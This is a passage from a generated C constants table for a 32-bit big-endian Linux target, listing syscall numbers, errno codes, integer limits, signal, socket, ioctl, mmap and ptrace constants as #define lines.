__NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n#define __NR_close_range 436\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n#define __NR_faccessat2 439\n#define __NR_process_madvise 440\n#define __NR_epoll_pwait2 441\n#define __NR_mount_setattr 442\n#define __NR_quotactl_fd 443\n#define __NR_landlock_create_ruleset 444\n#define __NR_landlock_add_rule 445\n#define __NR_landlock_restrict_self 446\n#define __NR_process_mrelease 448\n#define __NR_futex_waitv 449\n#define __NR_set_mempolicy_home_node 450\n#define __NR_cachestat 451\n#define __NR_fchmodat2 452\n#define __NR_map_shadow_stack 453\n#define __NR_futex_wake 454\n#define __NR_futex_wait 455\n#define __NR_futex_requeue 456\n#define __NR_fcntl 25\n#define __NR_statfs 43\n#define __NR_fstatfs 44\n#define __NR_truncate 45\n#define __NR_ftruncate 46\n#define __NR_lseek 62\n#define __NR_sendfile 71\n#define __NR_mmap 222\n#define __NR_fadvise64 223\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EDEADLK 35\n#define ENAMETOOLONG 36\n#define ENOLCK 37\n#define ENOSYS 38\n#define ENOTEMPTY 39\n#define ELOOP 40\n#define EWOULDBLOCK 11\n#define ENOMSG 42\n#define EIDRM 43\n#define ECHRNG 44\n#define EL2NSYNC 45\n#define EL3HLT 46\n#define EL3RST 47\n#define ELNRNG 48\n#define EUNATCH 49\n#define ENOCSI 50\n#define EL2HLT 51\n#define EBADE 52\n#define EBADR 53\n#define EXFULL 54\n#define ENOANO 55\n#define EBADRQC 56\n#define EBADSLT 57\n#define EDEADLOCK 35\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EMULTIHOP 72\n#define EDOTDOT 73\n#define EBADMSG 74\n#define EOVERFLOW 75\n#define ENOTUNIQ 76\n#define EBADFD 77\n#define EREMCHG 78\n#define ELIBACC 79\n#define ELIBBAD 80\n#define ELIBSCN 81\n#define ELIBMAX 82\n#define ELIBEXEC 83\n#define EILSEQ 84\n#define ERESTART 85\n#define ESTRPIPE 86\n#define EUSERS 87\n#define ENOTSOCK 88\n#define EDESTADDRREQ 89\n#define EMSGSIZE 90\n#define EPROTOTYPE 91\n#define ENOPROTOOPT 92\n#define EPROTONOSUPPORT 93\n#define ESOCKTNOSUPPORT 94\n#define EOPNOTSUPP 95\n#define ENOTSUP 95\n#define EPFNOSUPPORT 96\n#define EAFNOSUPPORT 97\n#define EADDRINUSE 98\n#define EADDRNOTAVAIL 99\n#define ENETDOWN 100\n#define ENETUNREACH 101\n#define ENETRESET 102\n#define ECONNABORTED 103\n#define ECONNRESET 104\n#define ENOBUFS 105\n#define EISCONN 106\n#define ENOTCONN 107\n#define ESHUTDOWN 108\n#define ETOOMANYREFS 109\n#define ETIMEDOUT 110\n#define ECONNREFUSED 111\n#define EHOSTDOWN 112\n#define EHOSTUNREACH 113\n#define EALREADY 114\n#define EINPROGRESS 115\n#define ESTALE 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EDQUOT 122\n#define ENOMEDIUM 123\n#define EMEDIUMTYPE 124\n#define ECANCELED 125\n#define ENOKEY 126\n#define EKEYEXPIRED 127\n#define EKEYREVOKED 128\n#define EKEYREJECTED 129\n#define EOWNERDEAD 130\n#define ENOTRECOVERABLE 131\n#define ERFKILL 132\n#define EHWPOISON 133\n#define __SYS_NERR ((133) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 4321\n#define __FLOAT_WORD_ORDER 4321\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 4321\n#define __WORDSIZE 32\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (2147483647))\n#define INTPTR_MAX (2147483647)\n#define UINTPTR_MAX 0xffffffff\n#define SIZE_MAX 0xffffffff\n#define PTRDIFF_MIN (-1 - (2147483647))\n#define PTRDIFF_MAX (2147483647)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (2147483647))\n#define INT_FAST16_MAX (2147483647)\n#define UINT_FAST16_MAX 0xffffffff\n#define INT_FAST32_MIN (-1 - (2147483647))\n#define INT_FAST32_MAX (2147483647)\n#define UINT_FAST32_MAX 0xffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_NOCLDWAIT 0x00000002\n#define SA_SIGINFO 0x00000004\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 0\n#define SIG_UNBLOCK 1\n#define SIG_SETMASK 2\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 1\n#define SO_DEBUG 1\n#define SO_REUSEADDR 2\n#define SO_TYPE 3\n#define SO_ERROR 4\n#define SO_DONTROUTE 5\n#define SO_BROADCAST 6\n#define SO_SNDBUF 7\n#define SO_RCVBUF 8\n#define SO_KEEPALIVE 9\n#define SO_OOBINLINE 10\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_LINGER 13\n#define SO_BSDCOMPAT 14\n#define SO_REUSEPORT 15\n#define SO_PASSCRED 16\n#define SO_PEERCRED 17\n#define SO_RCVLOWAT 18\n#define SO_SNDLOWAT 19\n#define SO_RCVTIMEO 20\n#define SO_SNDTIMEO 21\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_ACCEPTCONN 30\n#define SO_PEERSEC 31\n#define SO_SNDBUFFORCE 32\n#define SO_RCVBUFFORCE 33\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_PROTOCOL 38\n#define SO_DOMAIN 39\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FILE 0\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define SYS_accept 202\n#define SYS_accept4 242\n#define SYS_acct 89\n#define SYS_add_key 217\n#define SYS_adjtimex 171\n#define SYS_arch_specific_syscall 244\n#define SYS_bind 200\n#define SYS_bpf 280\n#define SYS_brk 214\n#define SYS_cachestat 451\n#define SYS_capget 90\n#define SYS_capset 91\n#define SYS_chdir 49\n#define SYS_chroot 51\n#define SYS_clock_adjtime 266\n#define SYS_clock_getres 114\n#define SYS_clock_gettime 113\n#define SYS_clock_nanosleep 115\n#define SYS_clock_settime 112\n#define SYS_clone 220\n#define SYS_clone3 435\n#define SYS_close 57\n#define SYS_close_range 436\n#define SYS_connect 203\n#define SYS_copy_file_range 285\n#define SYS_delete_module 106\n#define SYS_dup 23\n#define SYS_dup3 24\n#define SYS_epoll_create1 20\n#define SYS_epoll_ctl 21\n#define SYS_epoll_pwait 22\n#define SYS_epoll_pwait2 441\n#define SYS_eventfd2 19\n#define SYS_execve 221\n#define SYS_execveat 281\n#define SYS_exit 93\n#define SYS_exit_group 94\n#define SYS_faccessat 48\n#define SYS_faccessat2 439\n#define SYS_fadvise64 223\n#define SYS_fallocate 47\n#define SYS_fanotify_init 262\n#define SYS_fanotify_mark 263\n#define SYS_fchdir 50\n#define SYS_fchmod 52\n#define SYS_fchmodat 53\n#define SYS_fchmodat2 452\n#define SYS_fchown 55\n#define SYS_fchownat 54\n#define SYS_fcntl 25\n#define SYS_fdatasync 83\n#define SYS_fgetxattr 10\n#define SYS_finit_module 273\n#define SYS_flistxattr 13\n#define SYS_flock 32\n#define SYS_fremovexattr 16\n#define SYS_fsconfig 431\n#define SYS_fsetxattr 7\n#define SYS_fsmount 432\n#define SYS_fsopen 430\n#define SYS_fspick 433\n#define SYS_fstatfs 44\n#define SYS_fsync 82\n#define SYS_ftruncate 46\n#define SYS_futex 98\n#define SYS_futex_requeue 456\n#define SYS_futex_wait 455\n#define SYS_futex_waitv 449\n#define SYS_futex_wake 454\n#define SYS_getcpu 168\n#define SYS_getcwd 17\n#define SYS_getdents64 61\n#define SYS_getegid 177\n#define SYS_geteuid 175\n#define SYS_getgid 176\n#define SYS_getgroups 158\n#define SYS_getitimer 102\n#define SYS_get_mempolicy 236\n#define SYS_getpeername 205\n#define SYS_getpgid 155\n#define SYS_getpid 172\n#define SYS_getppid 173\n#define SYS_getpriority 141\n#define SYS_getrandom 278\n#define SYS_getresgid 150\n#define SYS_getresuid 148\n#define SYS_get_robust_list 100\n#define SYS_getrusage 165\n#define SYS_getsid 156\n#define SYS_getsockname 204\n#define SYS_getsockopt 209\n#define SYS_gettid 178\n#define SYS_gettimeofday 169\n#define SYS_getuid 174\n#define SYS_getxattr 8\n#define SYS_init_module 105\n#define SYS_inotify_add_watch 27\n#define SYS_inotify_init1 26\n#define SYS_inotify_rm_watch 28\n#define SYS_io_cancel 3\n#define SYS_ioctl 29\n#define SYS_io_destroy 1\n#define SYS_io_getevents 4\n#define SYS_io_pgetevents 292\n#define SYS_ioprio_get 31\n#define SYS_ioprio_set 30\n#define SYS_io_setup 0\n#define SYS_io_submit 2\n#define SYS_io_uring_enter 426\n#define SYS_io_uring_register 427\n#define SYS_io_uring_setup 425\n#define SYS_kcmp 272\n#define SYS_kexec_file_load 294\n#define SYS_kexec_load 104\n#define SYS_keyctl 219\n#define SYS_kill 129\n#define SYS_landlock_add_rule 445\n#define SYS_landlock_create_ruleset 444\n#define SYS_landlock_restrict_self 446\n#define SYS_lgetxattr 9\n#define SYS_linkat 37\n#define SYS_listen 201\n#define SYS_listxattr 11\n#define SYS_llistxattr 12\n#define SYS_lookup_dcookie 18\n#define SYS_lremovexattr 15\n#define SYS_lseek 62\n#define SYS_lsetxattr 6\n#define SYS_madvise 233\n#define SYS_map_shadow_stack 453\n#define SYS_mbind 235\n#define SYS_membarrier 283\n#define SYS_memfd_create 279\n#define SYS_migrate_pages 238\n#define SYS_mincore 232\n#define SYS_mkdirat 34\n#define SYS_mknodat 33\n#define SYS_mlock 228\n#define SYS_mlock2 284\n#define SYS_mlockall 230\n#define SYS_mmap 222\n#define SYS_mount 40\n#define SYS_mount_setattr 442\n#define SYS_move_mount 429\n#define SYS_move_pages 239\n#define SYS_mprotect 226\n#define SYS_mq_getsetattr 185\n#define SYS_mq_notify 184\n#define SYS_mq_open 180\n#define SYS_mq_timedreceive 183\n#define SYS_mq_timedsend 182\n#define SYS_mq_unlink 181\n#define SYS_mremap 216\n#define SYS_msgctl 187\n#define SYS_msgget 186\n#define SYS_msgrcv 188\n#define SYS_msgsnd 189\n#define SYS_msync 227\n#define SYS_munlock 229\n#define SYS_munlockall 231\n#define SYS_munmap 215\n#define SYS_name_to_handle_at 264\n#define SYS_nanosleep 101\n#define SYS_nfsservctl 42\n#define SYS_openat 56\n#define SYS_openat2 437\n#define SYS_open_by_handle_at 265\n#define SYS_open_tree 428\n#define SYS_perf_event_open 241\n#define SYS_personality 92\n#define SYS_pidfd_getfd 438\n#define SYS_pidfd_open 434\n#define SYS_pidfd_send_signal 424\n#define SYS_pipe2 59\n#define SYS_pivot_root 41\n#define SYS_pkey_alloc 289\n#define SYS_pkey_free 290\n#define SYS_pkey_mprotect 288\n#define SYS_ppoll 73\n#define SYS_prctl 167\n#define SYS_pread64 67\n#define SYS_preadv 69\n#define SYS_preadv2 286\n#define SYS_prlimit64 261\n#define SYS_process_madvise 440\n#define SYS_process_mrelease 448\n#define SYS_process_vm_readv 270\n#define SYS_process_vm_writev 271\n#define SYS_pselect6 72\n#define SYS_ptrace 117\n#define SYS_pwrite64 68\n#define SYS_pwritev 70\n#define SYS_pwritev2 287\n#define SYS_quotactl 60\n#define SYS_quotactl_fd 443\n#define SYS_read 63\n#define SYS_readahead 213\n#define SYS_readlinkat 78\n#define SYS_readv 65\n#define SYS_reboot 142\n#define SYS_recvfrom 207\n#define SYS_recvmmsg 243\n#define SYS_recvmsg 212\n#define SYS_remap_file_pages 234\n#define SYS_removexattr 14\n#define SYS_renameat2 276\n#define SYS_request_key 218\n#define SYS_restart_syscall 128\n#define SYS_rseq 293\n#define SYS_rt_sigaction 134\n#define SYS_rt_sigpending 136\n#define SYS_rt_sigprocmask 135\n#define SYS_rt_sigqueueinfo 138\n#define SYS_rt_sigreturn 139\n#define SYS_rt_sigsuspend 133\n#define SYS_rt_sigtimedwait 137\n#define SYS_rt_tgsigqueueinfo 240\n#define SYS_sched_getaffinity 123\n#define 